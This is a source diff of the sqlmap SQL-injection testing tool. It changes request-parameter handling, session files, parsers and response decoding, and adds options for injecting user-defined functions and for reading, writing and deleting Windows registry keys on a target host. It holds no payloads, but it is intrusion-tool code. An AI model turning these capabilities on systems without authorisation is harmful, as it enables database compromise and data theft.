# Another quick twist
|
||||
while True:
|
||||
@@ -82,7 +77,6 @@ def blockingWriteToFD(fd, data):
|
||||
|
||||
break
|
||||
|
||||
|
||||
def setNonBlocking(fd):
|
||||
"""
|
||||
Make a file descriptor non-blocking
|
||||
|
||||
@@ -22,17 +22,16 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import time
|
||||
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import paramToDict
|
||||
from lib.core.common import parseTargetUrl
|
||||
from lib.core.convert import urldecode
|
||||
from lib.core.common import sanitizeCookie
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
@@ -40,7 +39,6 @@ from lib.core.exception import sqlmapGenericException
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.session import resumeConfKb
|
||||
|
||||
|
||||
def __setRequestParams():
|
||||
"""
|
||||
Check and set the parameters and perform checks on 'data' option for
|
||||
@@ -64,21 +62,20 @@ def __setRequestParams():
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
if conf.data:
|
||||
urlDecodedData = urldecode(conf.data).replace("%", "%%")
|
||||
conf.parameters["POST"] = urlDecodedData
|
||||
__paramDict = paramToDict("POST", urlDecodedData)
|
||||
conf.parameters["POST"] = conf.data
|
||||
__paramDict = paramToDict("POST", conf.data)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["POST"] = __paramDict
|
||||
__testableParameters = True
|
||||
|
||||
conf.method = "POST"
|
||||
|
||||
# Perform checks on Cookie parameters
|
||||
if conf.cookie:
|
||||
# TODO: sure about decoding the cookie?
|
||||
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
|
||||
urlDecodedCookie = conf.cookie.replace("%", "%%")
|
||||
conf.parameters["Cookie"] = urlDecodedCookie
|
||||
__paramDict = paramToDict("Cookie", urlDecodedCookie)
|
||||
conf.cookie = sanitizeCookie(conf.cookie)
|
||||
conf.parameters["Cookie"] = conf.cookie
|
||||
__paramDict = paramToDict("Cookie", conf.cookie)
|
||||
|
||||
if __paramDict:
|
||||
conf.paramDict["Cookie"] = __paramDict
|
||||
@@ -88,7 +85,8 @@ def __setRequestParams():
|
||||
if conf.httpHeaders:
|
||||
for httpHeader, headerValue in conf.httpHeaders:
|
||||
if httpHeader == "User-Agent":
|
||||
conf.parameters["User-Agent"] = urldecode(headerValue).replace("%", "%%")
|
||||
# No need for url encoding/decoding the user agent
|
||||
conf.parameters["User-Agent"] = headerValue
|
||||
|
||||
condition = not conf.testParameter
|
||||
condition |= "User-Agent" in conf.testParameter
|
||||
@@ -110,13 +108,17 @@ def __setRequestParams():
|
||||
errMsg += "within the GET, POST and Cookie parameters"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
|
||||
def __setOutputResume():
|
||||
"""
|
||||
Check and set the output text file and the resume functionality.
|
||||
"""
|
||||
|
||||
if conf.sessionFile and os.path.exists(conf.sessionFile):
|
||||
if not conf.sessionFile:
|
||||
conf.sessionFile = "%s%ssession" % (conf.outputPath, os.sep)
|
||||
|
||||
logger.info("using '%s' as session file" % conf.sessionFile)
|
||||
|
||||
if os.path.exists(conf.sessionFile):
|
||||
readSessionFP = open(conf.sessionFile, "r")
|
||||
lines = readSessionFP.readlines()
|
||||
|
||||
@@ -154,14 +156,12 @@ def __setOutputResume():
|
||||
|
||||
readSessionFP.close()
|
||||
|
||||
if conf.sessionFile:
|
||||
try:
|
||||
conf.sessionFP = open(conf.sessionFile, "a")
|
||||
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
||||
except IOError:
|
||||
errMsg = "unable to write on the session file specified"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
try:
|
||||
conf.sessionFP = open(conf.sessionFile, "a")
|
||||
dataToSessionFile("\n[%s]\n" % time.strftime("%X %x"))
|
||||
except IOError:
|
||||
errMsg = "unable to write on the session file specified"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
def __createFilesDir():
|
||||
"""
|
||||
@@ -176,7 +176,6 @@ def __createFilesDir():
|
||||
if not os.path.isdir(conf.filePath):
|
||||
os.makedirs(conf.filePath, 0755)
|
||||
|
||||
|
||||
def __createDumpDir():
|
||||
"""
|
||||
Create the dump directory.
|
||||
@@ -190,6 +189,23 @@ def __createDumpDir():
|
||||
if not os.path.isdir(conf.dumpPath):
|
||||
os.makedirs(conf.dumpPath, 0755)
|
||||
|
||||
def createTargetDirs():
|
||||
"""
|
||||
Create the output directory.
|
||||
"""
|
||||
|
||||
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
||||
|
||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
||||
|
||||
if not os.path.isdir(conf.outputPath):
|
||||
os.makedirs(conf.outputPath, 0755)
|
||||
|
||||
dumper.setOutputFile()
|
||||
|
||||
__createDumpDir()
|
||||
__createFilesDir()
|
||||
|
||||
def initTargetEnv():
|
||||
"""
|
||||
@@ -213,22 +229,3 @@ def initTargetEnv():
|
||||
parseTargetUrl()
|
||||
__setRequestParams()
|
||||
__setOutputResume()
|
||||
|
||||
|
||||
def createTargetDirs():
|
||||
"""
|
||||
Create the output directory.
|
||||
"""
|
||||
|
||||
conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname)
|
||||
|
||||
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
|
||||
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
|
||||
|
||||
if not os.path.isdir(conf.outputPath):
|
||||
os.makedirs(conf.outputPath, 0755)
|
||||
|
||||
dumper.setOutputFile()
|
||||
|
||||
__createDumpDir()
|
||||
__createFilesDir()
|
||||
|
||||
@@ -22,19 +22,14 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
class Unescaper:
|
||||
def __init__(self):
|
||||
self.__unescaper = None
|
||||
|
||||
|
||||
def setUnescape(self, unescapeFunction):
|
||||
self.__unescaper = unescapeFunction
|
||||
|
||||
|
||||
def unescape(self, expression, quote=True):
|
||||
return self.__unescaper(expression, quote=quote)
|
||||
|
||||
|
||||
unescaper = Unescaper()
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import difflib
|
||||
import os
|
||||
import re
|
||||
@@ -48,7 +46,6 @@ from lib.core.settings import SQLMAP_SOURCE_URL
|
||||
from lib.core.settings import VERSION
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
|
||||
def __updateMSSQLXML():
|
||||
infoMsg = "updating Microsoft SQL Server XML versions file"
|
||||
logger.info(infoMsg)
|
||||
@@ -199,7 +196,6 @@ def __updateMSSQLXML():
|
||||
infoMsg += "last update"
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def __createFile(pathname, data):
|
||||
mkpath(os.path.dirname(pathname))
|
||||
|
||||
@@ -207,7 +203,6 @@ def __createFile(pathname, data):
|
||||
fileFP.write(data)
|
||||
fileFP.close()
|
||||
|
||||
|
||||
def __extractZipFile(tempDir, zipFile):
|
||||
# Check if the saved binary file is really a ZIP file
|
||||
if zipfile.is_zipfile(zipFile):
|
||||
@@ -221,7 +216,6 @@ def __extractZipFile(tempDir, zipFile):
|
||||
data = sqlmapZipFile.read(info.filename)
|
||||
__createFile(os.path.join(tempDir, info.filename), data)
|
||||
|
||||
|
||||
def __updateSqlmap():
|
||||
infoMsg = "updating sqlmap"
|
||||
logger.info(infoMsg)
|
||||
@@ -292,8 +286,6 @@ def __updateSqlmap():
|
||||
|
||||
# For each file and directory in the temporary directory copy it
|
||||
# to the sqlmap root path and set right permission
|
||||
# TODO: remove files not needed anymore and all pyc within the
|
||||
# sqlmap root path in the end
|
||||
for root, _, files in os.walk(os.path.join(tempDir, "sqlmap-%s" % sqlmapNewestVersion)):
|
||||
# Just for development release
|
||||
if '.svn' in root:
|
||||
@@ -334,7 +326,6 @@ def __updateSqlmap():
|
||||
infoMsg = "sqlmap updated successfully"
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def update():
|
||||
if not conf.updateAll:
|
||||
return
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from xml.sax import parse
|
||||
@@ -35,7 +33,6 @@ from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.parse.handler import FingerprintHandler
|
||||
|
||||
|
||||
class MSSQLBannerHandler(ContentHandler):
|
||||
"""
|
||||
This class defines methods to parse and extract information from the
|
||||
@@ -51,7 +48,6 @@ class MSSQLBannerHandler(ContentHandler):
|
||||
self.__servicePack = ""
|
||||
self.__info = info
|
||||
|
||||
|
||||
def __feedInfo(self, key, value):
|
||||
value = sanitizeStr(value)
|
||||
|
||||
@@ -60,7 +56,6 @@ class MSSQLBannerHandler(ContentHandler):
|
||||
|
||||
self.__info[key] = value
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
if name == "signatures":
|
||||
self.__release = sanitizeStr(attrs.get("release"))
|
||||
@@ -71,14 +66,12 @@ class MSSQLBannerHandler(ContentHandler):
|
||||
elif name == "servicepack":
|
||||
self.__inServicePack = True
|
||||
|
||||
|
||||
def characters(self, data):
|
||||
if self.__inVersion:
|
||||
self.__version += sanitizeStr(data)
|
||||
elif self.__inServicePack:
|
||||
self.__servicePack += sanitizeStr(data)
|
||||
|
||||
|
||||
def endElement(self, name):
|
||||
if name == "signature":
|
||||
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
|
||||
@@ -89,7 +82,6 @@ class MSSQLBannerHandler(ContentHandler):
|
||||
self.__version = ""
|
||||
self.__servicePack = ""
|
||||
|
||||
|
||||
elif name == "version":
|
||||
self.__inVersion = False
|
||||
self.__version = self.__version.replace(" ", "")
|
||||
@@ -98,7 +90,6 @@ class MSSQLBannerHandler(ContentHandler):
|
||||
self.__inServicePack = False
|
||||
self.__servicePack = self.__servicePack.replace(" ", "")
|
||||
|
||||
|
||||
def bannerParser(banner):
|
||||
"""
|
||||
This function calls a class to extract information from the given
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import sys
|
||||
|
||||
from optparse import OptionError
|
||||
@@ -33,7 +31,6 @@ from optparse import OptionParser
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
||||
def cmdLineParser():
|
||||
"""
|
||||
This function parses the command line parameters and arguments
|
||||
@@ -62,7 +59,6 @@ def cmdLineParser():
|
||||
target.add_option("-c", dest="configFile",
|
||||
help="Load options from a configuration INI file")
|
||||
|
||||
|
||||
# Request options
|
||||
request = OptionGroup(parser, "Request", "These options can be used "
|
||||
"to specify how to connect to the target url.")
|
||||
@@ -76,8 +72,8 @@ def cmdLineParser():
|
||||
request.add_option("--cookie", dest="cookie",
|
||||
help="HTTP Cookie header")
|
||||
|
||||
request.add_option("--referer", dest="referer",
|
||||
help="HTTP Referer header")
|
||||
request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
|
||||
help="Ignore Set-Cookie header from response")
|
||||
|
||||
request.add_option("--user-agent", dest="agent",
|
||||
help="HTTP User-Agent header")
|
||||
@@ -86,12 +82,15 @@ def cmdLineParser():
|
||||
help="Load a random HTTP User-Agent "
|
||||
"header from file")
|
||||
|
||||
request.add_option("--referer", dest="referer",
|
||||
help="HTTP Referer header")
|
||||
|
||||
request.add_option("--headers", dest="headers",
|
||||
help="Extra HTTP headers newline separated")
|
||||
|
||||
request.add_option("--auth-type", dest="aType",
|
||||
help="HTTP Authentication type (value "
|
||||
"Basic or Digest)")
|
||||
"Basic, Digest or NTLM)")
|
||||
|
||||
request.add_option("--auth-cred", dest="aCred",
|
||||
help="HTTP Authentication credentials (value "
|
||||
@@ -115,7 +114,6 @@ def cmdLineParser():
|
||||
help="Retries when the connection timeouts "
|
||||
"(default 3)")
|
||||
|
||||
|
||||
# Injection options
|
||||
injection = OptionGroup(parser, "Injection", "These options can be "
|
||||
"used to specify which parameters to test "
|
||||
@@ -156,7 +154,6 @@ def cmdLineParser():
|
||||
help="Matches to be excluded before "
|
||||
"comparing page contents")
|
||||
|
||||
|
||||
# Techniques options
|
||||
techniques = OptionGroup(parser, "Techniques", "These options can "
|
||||
"be used to test for specific SQL injection "
|
||||
@@ -191,7 +188,6 @@ def cmdLineParser():
|
||||
"to retrieve the queries output. No "
|
||||
"need to go blind")
|
||||
|
||||
|
||||
# Fingerprint options
|
||||
fingerprint = OptionGroup(parser, "Fingerprint")
|
||||
|
||||
@@ -199,7 +195,6 @@ def cmdLineParser():
|
||||
action="store_true",
|
||||
help="Perform an extensive DBMS version fingerprint")
|
||||
|
||||
|
||||
# Enumeration options
|
||||
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
||||
"be used to enumerate the back-end database "
|
||||
@@ -273,6 +268,12 @@ def cmdLineParser():
|
||||
enumeration.add_option("--stop", dest="limitStop", type="int",
|
||||
help="Last query output entry to retrieve")
|
||||
|
||||
enumeration.add_option("--first", dest="firstChar", type="int",
|
||||
help="First query output word character to retrieve")
|
||||
|
||||
enumeration.add_option("--last", dest="lastChar", type="int",
|
||||
help="Last query output word character to retrieve")
|
||||
|
||||
enumeration.add_option("--sql-query", dest="query",
|
||||
help="SQL statement to be executed")
|
||||
|
||||
@@ -280,6 +281,16 @@ def cmdLineParser():
|
||||
action="store_true",
|
||||
help="Prompt for an interactive SQL shell")
|
||||
|
||||
# User-defined function options
|
||||
udf = OptionGroup(parser, "User-defined function injection", "These "
|
||||
"options can be used to create custom user-defined "
|
||||
"functions.")
|
||||
|
||||
udf.add_option("--udf-inject", dest="udfInject", action="store_true",
|
||||
help="Inject custom user-defined functions")
|
||||
|
||||
udf.add_option("--shared-lib", dest="shLib",
|
||||
help="Local path of the shared library")
|
||||
|
||||
# File system options
|
||||
filesystem = OptionGroup(parser, "File system access", "These options "
|
||||
@@ -335,20 +346,50 @@ def cmdLineParser():
|
||||
help="Remote absolute path of temporary files "
|
||||
"directory")
|
||||
|
||||
# Windows registry options
|
||||
windows = OptionGroup(parser, "Windows registry access", "This "
|
||||
"option can be used to access the back-end "
|
||||
"database management system Windows "
|
||||
"registry.")
|
||||
|
||||
windows.add_option("--reg-read", dest="regRead", action="store_true",
|
||||
help="Read a Windows registry key value")
|
||||
|
||||
windows.add_option("--reg-add", dest="regAdd", action="store_true",
|
||||
help="Write a Windows registry key value data")
|
||||
|
||||
windows.add_option("--reg-del", dest="regDel", action="store_true",
|
||||
help="Delete a Windows registry key value")
|
||||
|
||||
windows.add_option("--reg-key", dest="regKey",
|
||||
help="Windows registry key")
|
||||
|
||||
windows.add_option("--reg-value", dest="regVal",
|
||||
help="Windows registry key value")
|
||||
|
||||
windows.add_option("--reg-data", dest="regData",
|
||||
help="Windows registry key value data")
|
||||
|
||||
windows.add_option("--reg-type", dest="regType",
|
||||
help="Windows registry key value type")
|
||||
|
||||
# Miscellaneous options
|
||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||
|
||||
miscellaneous.add_option("-s", dest="sessionFile",
|
||||
help="Save and resume all data retrieved "
|
||||
"on a session file")
|
||||
|
||||
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
||||
help="Display for each output the "
|
||||
"estimated time of arrival")
|
||||
|
||||
miscellaneous.add_option("--gpage", dest="googlePage", type="int",
|
||||
help="Use google dork results from specified page number")
|
||||
|
||||
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
||||
help="Update sqlmap to the latest stable version")
|
||||
|
||||
miscellaneous.add_option("-s", dest="sessionFile",
|
||||
help="Save and resume all data retrieved "
|
||||
"on a session file")
|
||||
|
||||
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
|
||||
help="Save options on a configuration INI file")
|
||||
|
||||
@@ -365,8 +406,10 @@ def cmdLineParser():
|
||||
parser.add_option_group(techniques)
|
||||
parser.add_option_group(fingerprint)
|
||||
parser.add_option_group(enumeration)
|
||||
parser.add_option_group(udf)
|
||||
parser.add_option_group(filesystem)
|
||||
parser.add_option_group(takeover)
|
||||
parser.add_option_group(windows)
|
||||
parser.add_option_group(miscellaneous)
|
||||
|
||||
(args, _) = parser.parse_args()
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from ConfigParser import NoSectionError
|
||||
from ConfigParser import ConfigParser
|
||||
|
||||
@@ -33,10 +31,8 @@ from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.optiondict import optDict
|
||||
|
||||
|
||||
config = None
|
||||
|
||||
|
||||
def configFileProxy(section, option, boolean=False, integer=False):
|
||||
"""
|
||||
Parse configuration file and save settings into the configuration
|
||||
@@ -63,7 +59,6 @@ def configFileProxy(section, option, boolean=False, integer=False):
|
||||
debugMsg += "ignoring. Skipping to next."
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
def configFileParser(configFile):
|
||||
"""
|
||||
Parse configuration file and save settings into the configuration
|
||||
|
||||
@@ -22,15 +22,10 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import sanitizeStr
|
||||
|
||||
|
||||
class FingerprintHandler(ContentHandler):
|
||||
"""
|
||||
This class defines methods to parse and extract information from
|
||||
@@ -45,7 +40,6 @@ class FingerprintHandler(ContentHandler):
|
||||
self.__techVersion = None
|
||||
self.__info = info
|
||||
|
||||
|
||||
def __feedInfo(self, key, value):
|
||||
value = sanitizeStr(value)
|
||||
|
||||
@@ -61,7 +55,6 @@ class FingerprintHandler(ContentHandler):
|
||||
for v in value.split("|"):
|
||||
self.__info[key].add(v)
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
if name == "regexp":
|
||||
self.__regexp = sanitizeStr(attrs.get("value"))
|
||||
|
||||
@@ -22,7 +22,7 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
import os
|
||||
|
||||
from xml.sax import parse
|
||||
|
||||
@@ -31,7 +31,6 @@ from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.parse.handler import FingerprintHandler
|
||||
|
||||
|
||||
def headersParser(headers):
|
||||
"""
|
||||
This function calls a class that parses the input HTTP headers to
|
||||
@@ -46,13 +45,13 @@ def headersParser(headers):
|
||||
kb.headersCount += 1
|
||||
|
||||
topHeaders = {
|
||||
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
|
||||
"microsoftsharepointteamservices": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "sharepoint.xml"),
|
||||
"server": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "server.xml"),
|
||||
"servlet-engine": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "servlet.xml"),
|
||||
"set-cookie": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "cookie.xml"),
|
||||
"x-aspnet-version": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-aspnet-version.xml"),
|
||||
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml")
|
||||
}
|
||||
|
||||
for header in headers:
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from xml.sax import parse
|
||||
@@ -34,7 +32,6 @@ from lib.core.common import sanitizeStr
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
|
||||
|
||||
class htmlHandler(ContentHandler):
|
||||
"""
|
||||
This class defines methods to parse the input HTML page to
|
||||
@@ -49,7 +46,6 @@ class htmlHandler(ContentHandler):
|
||||
|
||||
self.dbms = None
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
if name == "dbms":
|
||||
self.__dbms = attrs.get("value")
|
||||
@@ -62,7 +58,6 @@ class htmlHandler(ContentHandler):
|
||||
self.dbms = self.__dbms
|
||||
self.__match = None
|
||||
|
||||
|
||||
def htmlParser(page):
|
||||
"""
|
||||
This function calls a class that parses the input HTML page to
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from xml.sax import parse
|
||||
from xml.sax.handler import ContentHandler
|
||||
|
||||
@@ -34,7 +32,6 @@ from lib.core.data import queries
|
||||
from lib.core.data import paths
|
||||
from lib.core.datatype import advancedDict
|
||||
|
||||
|
||||
class queriesHandler(ContentHandler):
|
||||
"""
|
||||
This class defines methods to parse the default DBMS queries
|
||||
@@ -45,7 +42,6 @@ class queriesHandler(ContentHandler):
|
||||
self.__dbms = ''
|
||||
self.__queries = advancedDict()
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
if name == "dbms":
|
||||
data = sanitizeStr(attrs.get("value"))
|
||||
@@ -134,6 +130,10 @@ class queriesHandler(ContentHandler):
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.isDba = data
|
||||
|
||||
elif name == "check_udf":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.checkUdf = data
|
||||
|
||||
elif name == "inband":
|
||||
self.__inband = sanitizeStr(attrs.get("query"))
|
||||
self.__inband2 = sanitizeStr(attrs.get("query2"))
|
||||
@@ -146,7 +146,6 @@ class queriesHandler(ContentHandler):
|
||||
self.__count = sanitizeStr(attrs.get("count"))
|
||||
self.__count2 = sanitizeStr(attrs.get("count2"))
|
||||
|
||||
|
||||
def endElement(self, name):
|
||||
if name == "dbms":
|
||||
queries[self.__dbms] = self.__queries
|
||||
@@ -205,7 +204,6 @@ class queriesHandler(ContentHandler):
|
||||
|
||||
self.__queries.dumpTable = self.__dumpTable
|
||||
|
||||
|
||||
def queriesParser():
|
||||
"""
|
||||
This function calls a class to parse the default DBMS queries
|
||||
|
||||
@@ -22,17 +22,17 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import gzip
|
||||
import os
|
||||
import re
|
||||
import StringIO
|
||||
import zlib
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.parse.headers import headersParser
|
||||
from lib.parse.html import htmlParser
|
||||
|
||||
|
||||
def forgeHeaders(cookie, ua):
|
||||
"""
|
||||
Prepare HTTP Cookie and HTTP User-Agent headers to use when performing
|
||||
@@ -51,17 +51,12 @@ def forgeHeaders(cookie, ua):
|
||||
|
||||
return headers
|
||||
|
||||
|
||||
def parseResponse(page, headers):
|
||||
"""
|
||||
@param page: the page to parse to feed the knowledge base htmlFp
|
||||
(back-end DBMS fingerprint based upon DBMS error messages return
|
||||
through the web application) list and absFilePaths (absolute file
|
||||
paths) set.
|
||||
|
||||
@todo: in the future parse the page content scrolling an XML file to
|
||||
identify the dynamic language used and, most, the absolute path,
|
||||
like for DBMS error messages (ERRORS_XML), see above.
|
||||
"""
|
||||
|
||||
if headers:
|
||||
@@ -73,11 +68,29 @@ def parseResponse(page, headers):
|
||||
# Detect injectable page absolute system path
|
||||
# NOTE: this regular expression works if the remote web application
|
||||
# is written in PHP and debug/error messages are enabled.
|
||||
absFilePathsRegExp = ( " in <b>(.*?)</b> on line", "([\w]\:[\/\\\\]+)" )
|
||||
absFilePathsRegExp = ( r" in <b>(.*?)</b> on line", r"\b[A-Za-z]:(\\[\w.\\]*)?", r"/[/\w.]+" )
|
||||
|
||||
for absFilePathRegExp in absFilePathsRegExp:
|
||||
absFilePaths = re.findall(absFilePathRegExp, page, re.I)
|
||||
reobj = re.compile(absFilePathRegExp)
|
||||
|
||||
for match in reobj.finditer(page):
|
||||
absFilePath = match.group()
|
||||
|
||||
for absFilePath in absFilePaths:
|
||||
if absFilePath not in kb.absFilePaths:
|
||||
kb.absFilePaths.add(os.path.dirname(absFilePath))
|
||||
|
||||
def decodePage(page, encoding):
|
||||
"""
|
||||
Decode gzip/deflate HTTP response
|
||||
"""
|
||||
|
||||
if str(encoding).lower() in ('gzip', 'x-gzip', 'deflate'):
|
||||
if encoding == 'deflate':
|
||||
# http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations
|
||||
data = StringIO.StringIO(zlib.decompress(page, -15))
|
||||
else:
|
||||
data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(page))
|
||||
|
||||
page = data.read()
|
||||
|
||||
return page
|
||||
|
||||
12
lib/request/certhandler.py
Normal file
12
lib/request/certhandler.py
Normal file
@@ -0,0 +1,12 @@
|
||||
import httplib
|
||||
import urllib2
|
||||
|
||||
class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
|
||||
def __init__(self, key_file, cert_file):
|
||||
urllib2.HTTPSHandler.__init__(self)
|
||||
self.key_file = key_file
|
||||
self.cert_file = cert_file
|
||||
def https_open(self, req):
|
||||
return self.do_open(self.getConnection, req)
|
||||
def getConnection(self, host):
|
||||
return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
|
||||
@@ -22,15 +22,12 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.session import setMatchRatio
|
||||
|
||||
|
||||
def comparison(page, headers=None, getSeqMatcher=False):
|
||||
regExpResults = None
|
||||
|
||||
@@ -73,15 +70,16 @@ def comparison(page, headers=None, getSeqMatcher=False):
|
||||
|
||||
# If the url is stable and we did not set yet the match ratio and the
|
||||
# current injected value changes the url page content
|
||||
if conf.matchRatio == None:
|
||||
if conf.md5hash != None and ratio > 0.6 and ratio < 1:
|
||||
if conf.matchRatio is None:
|
||||
if conf.md5hash is not None and ratio > 0.6 and ratio < 1:
|
||||
logger.debug("setting match ratio to %.3f" % ratio)
|
||||
conf.matchRatio = ratio
|
||||
elif conf.md5hash == None or ( conf.md5hash != None and ratio < 0.6 ):
|
||||
|
||||
elif conf.md5hash is None or ( conf.md5hash is not None and ratio < 0.6 ):
|
||||
logger.debug("setting match ratio to default value 0.900")
|
||||
conf.matchRatio = 0.900
|
||||
|
||||
if conf.matchRatio != None:
|
||||
if conf.matchRatio is not None:
|
||||
setMatchRatio()
|
||||
|
||||
# If it has been requested to return the ratio and not a comparison
|
||||
@@ -93,7 +91,7 @@ def comparison(page, headers=None, getSeqMatcher=False):
|
||||
# hash of the original one
|
||||
# NOTE: old implementation, it did not handle automatically the fact
|
||||
# that the url could be not stable (due to VIEWSTATE, counter, etc.)
|
||||
#elif conf.md5hash != None:
|
||||
#elif conf.md5hash is not None:
|
||||
# return conf.md5hash == md5hash(page)
|
||||
|
||||
# If the url is not stable it returns sequence matcher between the
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import httplib
|
||||
import re
|
||||
import socket
|
||||
@@ -33,11 +31,13 @@ import urlparse
|
||||
import traceback
|
||||
|
||||
from lib.contrib import multipartpost
|
||||
from lib.core.common import sanitizeCookie
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.request.basic import decodePage
|
||||
